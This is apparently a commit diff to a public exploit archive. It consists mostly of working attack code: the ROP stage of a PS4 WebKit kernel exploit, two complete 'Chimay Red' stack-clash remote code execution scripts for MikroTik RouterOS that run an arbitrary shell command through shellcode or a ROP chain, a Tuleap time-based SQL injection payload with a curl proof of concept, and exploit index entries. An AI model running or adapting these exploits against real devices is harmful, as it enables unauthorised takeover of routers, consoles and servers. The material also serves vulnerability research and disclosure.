538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}
function swapkeyval(json){
var ret = {};
for(var key in json){
if (json.hasOwnProperty(key)) {
ret[json[key]] = key;
}
}
return ret;
}
window.nameforsyscall = swapkeyval(window.syscallnames);
window.syscalls = {};
log("--- welcome to stage3 ---");
var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);
p.write8(kstr, window.libKernelBase);
p.write4(kstr.add32(8), 0x40000); // high enough lel
var countbytes;
for (var i=0; i < 0x40000; i++)
{
if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
{
countbytes = i;
break;
}
}
p.write4(kstr.add32(8), countbytes + 32);
var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i=0; i < countbytes; i++)
{
if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
{
dview8[0] = kview[i+3];
dview8[1] = kview[i+4];
dview8[2] = kview[i+5];
dview8[3] = kview[i+6];
var syscallno = dview32[0];
window.syscalls[syscallno] = window.libKernelBase.add32(i);
}
}
var chain = new window.RopChain;
var returnvalue;
p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
chain.clear();
chain.notimes = this.next_notime;
this.next_notime = 1;
chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
chain.push(window.gadgets["pop rdi"]); // pop rdi
chain.push(chain.ropframeptr.add32(0x3ff8)); // where
chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
chain.push(window.gadgets["pop rax"]); // pop rax
chain.push(p.leakval(0x41414242)); // where
if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
}
p.fcall = function()
{
var rv=p.fcall_.apply(this,arguments);
return returnvalue;
}
p.readstr = function(addr){
var addr_ = addr.add32(0); // copy
var rd = p.read4(addr_);
var buf = "";
while (rd & 0xFF)
{
buf += String.fromCharCode(rd & 0xFF);
addr_.add32inplace(1);
rd = p.read4(addr_);
}
return buf;
}
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
{
if (typeof sysc == "string") {
sysc = window.syscallnames[sysc];
}
if (typeof sysc != "number") {
throw new Error("invalid syscall");
}
var off = window.syscalls[sysc];
if (off == undefined)
{
throw new Error("invalid syscall");
}
return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
}
p.sptr = function(str) {
var bufView = new Uint8Array(str.length+1);
for (var i=0; i<str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x10));
};
log("loaded sycalls");
var rtv1 = p.fcall(window.gadgets["mov rax, rdi"], 0x41414141);
var pid = p.syscall("getpid");
var uid = p.syscall("getuid");
print("all good. fcall test retval = " + rtv1 + " - uid: " + uid + " - pid: " + pid);
sc = document.createElement("script");
sc.src="kern.js";
document.body.appendChild(sc);
}
<--- /rop.js -->

263
exploits/hardware/remote/44283.py Executable file
View file

@ -0,0 +1,263 @@
#!/usr/bin/env python3
# Mikrotik Chimay Red Stack Clash Exploit by BigNerd95
# Tested on RouterOS 6.38.4 (mipsbe) [using a CRS109]
# Used tools: pwndbg, rasm2, mipsrop for IDA
# I used ropper only to automatically find gadgets
# ASLR enabled on libs only
# DEP NOT enabled
import socket, time, sys, struct, re
from ropper import RopperService
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
class MyRopper():
def __init__(self, filename):
self.rs = RopperService()
self.rs.clearCache()
self.rs.addFile(filename)
self.rs.loadGadgetsFor()
self.rs.options.inst_count = 10
self.rs.loadGadgetsFor()
self.rs.loadGadgetsFor() # sometimes Ropper doesn't update new gadgets
def get_gadgets(self, regex):
gadgets = []
for _, g in self.rs.search(search=regex):
gadgets.append(g)
if len(gadgets) > 0:
return gadgets
else:
raise Exception("Cannot find gadgets!")
def contains_string(self, string):
s = self.rs.searchString(string)
t = [a for a in s.values()][0]
return len(t) > 0
def get_arch(self):
return self.rs.files[0].arch._name
@staticmethod
def get_ra_offset(gadget):
"""
Return the offset of next Retun Address on the stack
So you know how many bytes to put before next gadget address
Eg:
lw $ra, 0xAB ($sp) --> return: 0xAB
"""
for line in gadget.lines:
offset_len = re.findall("lw \$ra, (0x[0-9a-f]+)\(\$sp\)", line[1])
if offset_len:
return int(offset_len[0], 16)
raise Exception("Cannot find $ra offset in this gadget!")
def makeHeader(num):
return b"POST /jsproxy HTTP/1.1\r\nContent-Length: " + bytes(str(num), 'ascii') + b"\r\n\r\n"
def makeSocket(ip, port):
s = socket.socket()
try:
s.connect((ip, port))
except:
print("Error connecting to socket")
sys.exit(-1)
print("Connected")
time.sleep(0.5)
return s
def socketSend(s, data):
try:
s.send(data)
except:
print("Error sending data")
sys.exit(-1)
print("Sent")
time.sleep(0.5)
def build_shellcode(shellCmd):
shell_code = b''
shellCmd = bytes(shellCmd, "ascii")
# Here the shellcode will write the arguments for execve: ["/bin/bash", "-c", "shellCmd", NULL] and [NULL]
# XX XX XX XX <-- here the shell code will write the address of string "/bin/bash" [shellcode_start_address -16] <--- argv_array
# XX XX XX XX <-- here the shell code will write the address of string "-c" [shellcode_start_address -12]
# XX XX XX XX <-- here the shell code will write the address of string "shellCmd" [shellcode_start_address -8]
# XX XX XX XX <-- here the shell code will write 0x00000000 (used as end of argv_array and as envp_array) [shellcode_start_address -4] <--- envp_array
# The shell code execution starts here!
shell_code += struct.pack('>L', 0x24500000) # addiu s0, v0, 0 # s0 = v0 Save the shellcode_start_address in s0 (in v0 we have the address of the stack where the shellcode starts [<-- pointing to this location exactly])
shell_code += struct.pack('>L', 0x24020fa2) # addiu v0, zero, 0xfa2 # v0 = 4002 (fork) Put the syscall number of fork (4002) in v0
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start fork()
shell_code += struct.pack('>L', 0x10400003) # beqz v0, 0x10 # jump 12 byte forward if v0 == 0 Jump to execve part of the shellcode if PID is 0
# if v0 != 0 [res of fork()]
shell_code += struct.pack('>L', 0x24020001) # addiu v0, zero, 1 # a0 = 1 Put exit parameter in a0
shell_code += struct.pack('>L', 0x24020fa1) # addiu v0, zero, 0xfa1 # v0 = 4001 (exit) Put the syscall number of exit (4002) in v0
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start exit(1)
# if v0 == 0 [res of fork()]
shell_code += struct.pack('>L', 0x26040050) # addiu a0, s0, 0x50 # a0 = shellcode_start_address + 0x50 Calculate the address of string "/bin/bash" and put it in a0 (the first parameter of execve)
shell_code += struct.pack('>L', 0xae04fff0) # sw a0, -16(s0) # shellcode_start_address[-16] = bin_bash_address Write in the first entry of the "argv" array the address of the string "/bin/bash"
shell_code += struct.pack('>L', 0x26110060) # addiu s1, s0, 0x60 # s1 = shellcode_start_address + 0x60 Calculate the address of string "-c" and put it in s1
shell_code += struct.pack('>L', 0xae11fff4) # sw s1, -12(s0) # shellcode_start_address[-12] = c_address Write in the second entry of the "argv" array the address of the string "-c"
shell_code += struct.pack('>L', 0x26110070) # addiu s1, s0, 0x70 # s1 = shellcode_start_address + 0x70 Calculate the address of string "shellCmd" and put it in s1
shell_code += struct.pack('>L', 0xae11fff8) # sw s1, -8(s0) # shellcode_start_address[-8] = shellCmd_address Write in the third entry of the "argv" array the address of the string "shellCmd"
shell_code += struct.pack('>L', 0xae00fffc) # sw zero, -4(s0) # shellcode_start_address[-4] = 0x00 Write NULL address as end of argv_array and envp_array
shell_code += struct.pack('>L', 0x2205fff0) # addi a1, s0, -16 # a1 = shellcode_start_address - 16 Put the address of argv_array in a1 (the second parameter of execve)
shell_code += struct.pack('>L', 0x2206fffc) # addi a2, s0, -4 # a2 = shellcode_start_address - 4 Put the address of envp_array in a2 (the third parameter of execve)
shell_code += struct.pack('>L', 0x24020fab) # addiu v0, zero, 0xfab # v0 = 4011 (execve) Put the syscall number of execve (4011) in v0 (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h)
shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start execve("/bin/bash", ["/bin/bash", "-c", "shellCmd", NULL], [NULL])
shell_code += b'P' * (0x50 - len(shell_code)) # offset to simplify string address calculation
shell_code += b'/bin/bash\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x50] <--- bin_bash_address
shell_code += b'P' * (0x60 - len(shell_code)) # offset to simplify string address calculation
shell_code += b'-c\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x60] <--- c_address
shell_code += b'P' * (0x70 - len(shell_code)) # offset to simplify string address calculation
shell_code += shellCmd + b'\x00' # [shellcode_start + 0x70] <--- shellCmd_address
return shell_code
def build_payload(binRop, shellCmd):
print("Building shellcode + ROP chain...")
ropChain = b''
shell_code = build_shellcode(shellCmd)
# 1) Stack finder gadget (to make stack pivot)
stack_finder = binRop.get_gadgets("addiu ?a0, ?sp, 0x18; lw ?ra, 0x???(?sp% jr ?ra;")[0]
"""
0x0040ae04: (ROS 6.38.4)
addiu $a0, $sp, 0x18 <--- needed action
lw $ra, 0x5fc($sp) <--- jump control [0x5fc, a lot of space for the shellcode!]
lw $s3, 0x5f8($sp)
lw $s2, 0x5f4($sp)
lw $s1, 0x5f0($sp)
lw $s0, 0x5ec($sp)
move $v0, $zero
jr $ra
"""
ropChain += struct.pack('>L', stack_finder.address)
# Action: addiu $a0, $sp, 0x600 + var_5E8 # a0 = stackpointer + 0x18
# Control Jump: jr 0x600 + var_4($sp)
# This gadget (moreover) allows us to reserve 1512 bytes inside the rop chain
# to store the shellcode (beacuse of: jr 0x600 + var_4($sp))
ropChain += b'B' * 0x18 # 0x600 - 0x5E8 = 0x18 (in the last 16 bytes of this offset the shell code will write the arguments for execve)
ropChain += shell_code # write the shell code in this "big" offset
next_gadget_offset = MyRopper.get_ra_offset(stack_finder) - 0x18 - len(shell_code)
if next_gadget_offset < 0: # check if shell command fits inside this big offset
raise Exception("Shell command too long! Max len: " + str(next_gadget_offset + len(shellCmd)) + " bytes")
ropChain += b'C' * next_gadget_offset # offset because of this: 0x600 + var_4($sp)
# 2) Copy a0 in v0 because of next gadget
mov_v0_a0 = binRop.get_gadgets("lw ?ra, %move ?v0, ?a0;% jr ?ra;")[0]
"""
0x00414E58: (ROS 6.38.4)
lw $ra, 0x24($sp); <--- jump control
lw $s2, 0x20($sp);
lw $s1, 0x1c($sp);
lw $s0, 0x18($sp);
move $v0, $a0; <--- needed action
jr $ra;
"""
ropChain += struct.pack('>L', mov_v0_a0.address)
# Gadget Action: move $v0, $a0 # v0 = a0
# Gadget Control: jr 0x28 + var_4($sp)
ropChain += b'D' * MyRopper.get_ra_offset(mov_v0_a0) # offset because of this: 0x28 + var_4($sp)
# 3) Jump to the stack (start shell code)
jump_v0 = binRop.get_gadgets("move ?t9, ?v0; jalr ?t9;")[0]
"""
0x00412540: (ROS 6.38.4)
move $t9, $v0; <--- jump control
jalr $t9; <--- needed action
"""
ropChain += struct.pack('>L', jump_v0.address)
# Gadget Action: jalr $t9 # jump v0
# Gadget Control: jalr $v0
return ropChain
def stackClash(ip, port, payload):
print("Opening 2 sockets")
# 1) Start 2 threads
# open 2 socket so 2 threads are created
s1 = makeSocket(ip, port) # socket 1, thread A
s2 = makeSocket(ip, port) # socket 2, thread B
print("Stack clash...")
# 2) Stack Clash
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
# 2.2) send some bytes as post data to socket 1 (thread A)
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
print("Sending payload")
# 3) Send ROP chain and shell code
socketSend(s1, payload)
print("Starting exploit")
# 4) Start ROP chain
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
print("Done!")
def crash(ip, port):
print("Crash...")
s = makeSocket(ip, port)
socketSend(s, makeHeader(-1))
socketSend(s, b'A' * 0x1000)
s.close()
time.sleep(2.5) # www takes up to 3 seconds to restart
if __name__ == "__main__":
if len(sys.argv) == 5:
ip = sys.argv[1]
port = int(sys.argv[2])
binary = sys.argv[3]
shellCmd = sys.argv[4]
binRop = MyRopper(binary)
if binRop.get_arch() != 'MIPSBE':
raise Exception("Wrong architecture! You have to pass a mipsbe executable")
if binRop.contains_string("pthread_attr_setstacksize"):
AST_STACKSIZE = ROS_STACKSIZE
payload = build_payload(binRop, shellCmd)
crash(ip, port) # should make stack clash more reliable
stackClash(ip, port, payload)
else:
print("Usage: " + sys.argv[0] + " IP PORT binary shellcommand")

251
exploits/hardware/remote/44284.py Executable file
View file

@ -0,0 +1,251 @@
#!/usr/bin/env python2
# Mikrotik Chimay Red Stack Clash Exploit by wsxarcher (based on BigNerd95 POC)
# tested on RouterOS 6.38.4 (x86)
# ASLR enabled on libs only
# DEP enabled
import socket, time, sys, struct
from pwn import *
import ropgadget
AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB)
ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB)
SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2
ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain!
ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account
ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain
context(arch="i386", os="linux", log_level="WARNING")
gadgets = dict()
plt = dict()
strings = dict()
system_chunks = []
cmd_chunks = []
def makeHeader(num):
return bytes("POST /jsproxy HTTP/1.1\r\nContent-Length: ") + bytes(str(num)) + bytes("\r\n\r\n")
def makeSocket(ip, port):
s = socket.socket()
try:
s.connect((ip, port))
except:
print("Error connecting to socket")
sys.exit(-1)
print("Connected")
time.sleep(0.5)
return s
def socketSend(s, data):
try:
s.send(data)
except:
print("Error sending data")
sys.exit(-1)
print("Sent")
time.sleep(0.5)
def ropCall(function_address, *arguments):
payload = struct.pack('<L', function_address)
num_arg = len(arguments)
if num_arg > 0:
if num_arg == 1:
ret_gadget = gadgets['p']
elif num_arg == 2:
ret_gadget = gadgets['pp']
elif num_arg == 3:
ret_gadget = gadgets['ppp']
elif num_arg == 4:
ret_gadget = gadgets['pppp']
else:
raise
payload += struct.pack('<L', ret_gadget)
for arg in arguments:
payload += struct.pack('<L', arg)
return payload
# pwntools filters out JOP gadgets
# https://github.com/Gallopsled/pwntools/blob/5d537a6189be5131e63144e20556302606c5895e/pwnlib/rop/rop.py#L1074
def ropSearchJmp(elf, instruction):
oldargv = sys.argv
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'jmp']
args = ropgadget.args.Args().getArgs()
core = ropgadget.core.Core(args)
core.do_binary(elf.path)
core.do_load(0)
sys.argv = oldargv
for gadget in core._Core__gadgets:
address = gadget['vaddr'] - elf.load_addr + elf.address
if gadget['gadget'] == instruction:
return address
raise
def loadOffsets(binary, shellCmd):
elf = ELF(binary)
rop = ROP(elf)
if len([_ for _ in elf.search("pthread_attr_setstacksize")]) > 0:
global AST_STACKSIZE
AST_STACKSIZE = ROS_STACKSIZE
# www PLT symbols
plt["strncpy"] = elf.plt['strncpy']
plt["dlsym"] = elf.plt['dlsym']
# Gadgets to clean the stack from arguments
gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
gadgets['p'] = rop.search(regs=["ebp"]).address
# Gadget to jump on the result of dlsym (address of system)
gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")
system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))
# get the address of the first writable segment to store strings
writable_address = elf.writable_segments[0].header.p_paddr
strings['system'] = writable_address
strings['cmd'] = writable_address + 0xf
def generateStrncpyChain(dst, chunks):
chain = ""
offset = 0
for (address, length) in chunks:
chain += ropCall(plt["strncpy"], dst + offset, address, length)
offset += length
return chain
# only search for single chars
def searchStringChunksLazy(elf, string):
chunks = []
for b in string:
res = [_ for _ in elf.search(b)]
if len(res) > 0:
chunks.append((res[0], 1))
else:
raise
if len(string) != len(chunks):
raise
return chunks
# [bugged, some problem with dots, not used]
# search chunks of string
def searchStringChunks(elf, string):
chunks = []
total = len(string)
if string == "":
raise
looking = string
while string != "":
results = [_ for _ in elf.search(looking)]
if len(results) > 0:
chunks.append((results[0], len(looking)))
string = string[len(looking):]
looking = string
else: # search failed
looking = looking[:-1] # search again removing last char
check_length = 0
for (address, length) in chunks:
check_length = check_length + length
if check_length == total:
return chunks
else:
raise
def buildROP(binary, shellCmd):
loadOffsets(binary, shellCmd)
# ROP chain
exploit = generateStrncpyChain(strings['system'], system_chunks) # w_segment = "system"
exploit += generateStrncpyChain(strings['cmd'], cmd_chunks) # w_segment = "bash cmd"
exploit += ropCall(plt["dlsym"], 0, strings['system']) # dlsym(0, "system"), eax = libc.system
exploit += ropCall(gadgets['jeax'], strings['cmd']) # system("cmd")
# The server is automatically restarted after 3 secs, so we make it crash with a random address
exploit += struct.pack('<L', 0x13371337)
return exploit
def stackClash(ip, port, ropChain):
print("Opening 2 sockets")
# 1) Start 2 threads
# open 2 socket so 2 threads are created
s1 = makeSocket(ip, port) # socket 1, thread A
s2 = makeSocket(ip, port) # socket 2, thread B
print("Stack clash...")
# 2) Stack Clash
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
# 2.2) send some bytes as post data to socket 1 (thread A)
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
print("Sending payload")
# 3) Send ROP chain
socketSend(s1, ropChain) # thread A writes the ROP chain in the stack of thread B
print("Starting exploit")
# 4) Start ROP chain
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
print("Done!")
def crash(ip, port):
print("Crash...")
s = makeSocket(ip, port)
socketSend(s, makeHeader(-1))
socketSend(s, b'A' * 0x1000)
s.close()
time.sleep(2.5) # www takes up to 3 seconds to restart
if __name__ == "__main__":
if len(sys.argv) == 5:
ip = sys.argv[1]
port = int(sys.argv[2])
binary = sys.argv[3]
shellCmd = sys.argv[4]
print("Building ROP chain...")
ropChain = buildROP(binary, shellCmd)
print("The ROP chain is " + str(len(ropChain)) + " bytes long (" + str(ROP_SPACE) + " bytes available)")
crash(ip, port) # should make stack clash more reliable
stackClash(ip, port, ropChain)
else:
print("Usage: ./StackClashROPsystem.py IP PORT binary shellcommand")

View file

@ -35,7 +35,7 @@ Steps to Reproduce:
1. Login with a valid credentials of an Editor
2. Select Files option from the Drop-down menu of Content
3. Upload a file with PHP (uppercase)extension containing the below code:
3. Upload a file with PHP (uppercase)extension containing the below code: (EDB Note: You can also use .php7)
<?php

View file

@ -0,0 +1,110 @@
===============================================================================
title: Tuleap SQL Injection
case id: CM-2018-01
product: Tuleap version 9.17.99.189
vulnerability type: Blind SQL injection - time based
severity: High
found: 2018-02-24
by: Cristiano Maruti (@cmaruti)
===============================================================================
[EXECUTIVE SUMMARY]
Enalean Tuleap is a project management system for application lifecycles
management, agile development and design projects, requirement management, IT
services management, and so on. The analysis discovered a time-based blind SQL
injection vulnerability (OTG-INPVAL-005) in the tracker functionality of
Tuleap software engineering platform. A malicious user can inject arbitrary
SQL commands to the application. The vulnerability lies in the project tracker
service search functionality; depending on project visibility successful
exploitation may or may not require user authentication. A successful attack
can read, modify or delete data from the database or, depending on the
privilege of the user (default: restricted) and the database engine in use
(default: MySQL), execute arbitrary commands on the underlying system.
[VULNERABLE VERSIONS]
The following version of the Tuleap software was affected by the
vulnerability; previous versions may be vulnerable as well:
- Tuleap version 9.17.99.189
[TECHNICAL DETAILS]
It is possible to reproduce the vulnerability following these steps:
1. Open the tracker service in a publicly visible project
2. Leave all the fields empty and submit the search form while logging the
request with the help of an application proxy like Burp or ZAP
3. Copy the previous request and edit the "criteria[499][values][]" field in
the request body with the "(select(0)from(select(sleep(3)))a)/**/" payload
4. Send the request to the application
5. Application will respond with a three second delay
Below a full transcript of the HTTP request used to raise the vulnerability
and also a cURL one liner to highlight the induced delay in the application
response.
HTTP Request
-------------------------------------------------------------------------------
POST /plugins/tracker/?tracker=16 HTTP/1.1
Host: 192.168.137.130
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://192.168.137.130/plugins/tracker/?tracker=16
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
Cookie: __Host-TULEAP_PHPSESSID=r7d1mk87sfn9kadlkh64h25354
Connection: close
Upgrade-Insecure-Requests: 1
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
-------------------------------------------------------------------------------
cURL PoC
-------------------------------------------------------------------------------
# time curl -k -X POST -d @sql.txt -H 'Cookie: __Host-TULEAP_PHPSESSID=<VALID>'
https://192.168.137.130/plugins/tracker/?tracker=16
[OUTPUT TRUNCATED]
</script> </body>
</html>
real 0m3.117s
user 0m0.033s
sys 0m0.021s
# cat sql.txt
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
-------------------------------------------------------------------------------
A copy of the report with technical details about the vulnerability I have
identified is available at:
https://github.com/cmaruti/reports/blob/master/tuleap.pdf
[VULNERABILITY REFERENCE]
The following CVE ID was allocated to track the vulnerabilities: CVE-2018-7538
[DISCLOSURE TIMELINE]
2018-02-26 Vulnerability submitted to vendor through e-mail.
Vendor requested
more info and acknowledged the problem later.
2018-02-27 Researcher requested to allocate a CVE number.
2018-02-27 Vendor released a fix for the reported issue.
2018-03-08 Researcher requested to publicly disclose the issue; public
coordinated disclosure.
[SOLUTION]
Enalean released an update to fix the vulnerability (Tuleap 9.18 or later).
Please see the below link for further information released by the vendor:
- https://tuleap.net/plugins/tracker/?aid=11192
[REPORT URL]
https://github.com/cmaruti/reports/blob/master/tuleap.pdf

View file

@ -9588,6 +9588,7 @@ id,file,description,date,author,type,platform,port
44269,exploits/windows/local/44269.txt,"Chrome 35.0.1916.153 - Sandbox Escape / Command Execution",2017-10-14,649,local,windows,
44270,exploits/windows/local/44270.txt,"WebLog Expert Enterprise 9.4 - Authentication Bypass",2018-03-09,hyp3rlinx,local,windows,
44279,exploits/linux/local/44279.py,"SC 7.16 - Stack-Based Buffer Overflow",2018-03-12,"Juan Sacco",local,linux,
44282,exploits/hardware/local/44282.txt,"Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC)",2018-03-10,qwertyoruiop,local,hardware,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -10596,7 +10597,7 @@ id,file,description,date,author,type,platform,port
6328,exploits/solaris/remote/6328.c,"Sun Solaris 10 - snoop(1M) Utility Remote Command Execution",2008-08-29,Andi,remote,solaris,
6334,exploits/windows/remote/6334.html,"Friendly Technologies - Read/Write Registry/Read Files",2008-08-30,spdr,remote,windows,
6355,exploits/windows/remote/6355.txt,"Google Chrome 0.2.149.27 - Automatic File Download",2008-09-03,nerex,remote,windows,
6366,exploits/hardware/remote/6366.c,"MicroTik RouterOS 3.13 - SNMP write (Set request)",2008-09-05,ShadOS,remote,hardware,
6366,exploits/hardware/remote/6366.c,"MikroTik RouterOS 3.13 - SNMP write (Set request)",2008-09-05,ShadOS,remote,hardware,
6367,exploits/windows/remote/6367.txt,"Google Chrome 0.2.149.27 - 'SaveAs' Remote Buffer Overflow",2008-09-05,SVRT,remote,windows,
6387,exploits/windows/remote/6387.rb,"CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)",2008-09-05,"Kevin Finisterre",remote,windows,2022
6407,exploits/windows/remote/6407.c,"Microworld Mailscan 5.6.a - Password Reveal",2008-09-09,SlaYeR,remote,windows,
@ -14294,7 +14295,7 @@ id,file,description,date,author,type,platform,port
27630,exploits/linux/remote/27630.txt,"Plone 2.x - MembershipTool Access Control Bypass",2006-04-12,MJ0011,remote,linux,
27636,exploits/multiple/remote/27636.txt,"Adobe Document Server 6.0 Extensions - 'ads-readerext?actionID' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
27637,exploits/multiple/remote/27637.txt,"Adobe Document Server 6.0 Extensions - 'AlterCast?op' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
28056,exploits/hardware/remote/28056.txt,"Mikrotik RouterOS sshd (ROSSSH) - Unauthenticated Remote Heap Corruption",2013-09-03,kingcope,remote,hardware,
28056,exploits/hardware/remote/28056.txt,"MikroTik RouterOS - sshd (ROSSSH) Unauthenticated Remote Heap Corruption",2013-09-03,kingcope,remote,hardware,
27703,exploits/windows/remote/27703.py,"PCMan FTP Server 2.07 - 'STOR' Remote Buffer Overflow",2013-08-19,Polunchis,remote,windows,
27704,exploits/windows/remote/27704.rb,"Cogent DataHub - HTTP Server Buffer Overflow (Metasploit)",2013-08-19,Metasploit,remote,windows,
27705,exploits/multiple/remote/27705.rb,"Java - 'storeImageArray()' Invalid Array Indexing (Metasploit)",2013-08-19,Metasploit,remote,multiple,
@ -16321,6 +16322,8 @@ id,file,description,date,author,type,platform,port
44245,exploits/hardware/remote/44245.rb,"NETGEAR - 'TelnetEnable' Magic Packet (Metasploit)",2018-03-05,Metasploit,remote,hardware,23
44253,exploits/hardware/remote/44253.py,"Tenda AC15 Router - Unauthenticated Remote Code Execution",2018-02-14,"Tim Carrington",remote,hardware,
44280,exploits/multiple/remote/44280.rb,"Eclipse Equinoxe OSGi Console - Command Execution (Metasploit)",2018-03-12,Metasploit,remote,multiple,
44283,exploits/hardware/remote/44283.py,"MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution",2018-03-12,"Lorenzo Santina",remote,hardware,
44284,exploits/hardware/remote/44284.py,"MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution",2018-03-12,"Lorenzo Santina",remote,hardware,
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@ -38995,3 +38998,5 @@ id,file,description,date,author,type,platform,port
44277,exploits/php/webapps/44277.txt,"TextPattern 4.6.2 - 'qty' SQL Injection",2018-03-12,"Manuel García Cárdenas",webapps,php,
44278,exploits/windows/webapps/44278.py,"Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution",2018-03-12,"Chris Lyne",webapps,windows,
44281,exploits/windows/webapps/44281.txt,"ACL Analytics 11.X - 13.0.0.579 - Arbitrary Code Execution",2018-03-12,Clutchisback1,webapps,windows,
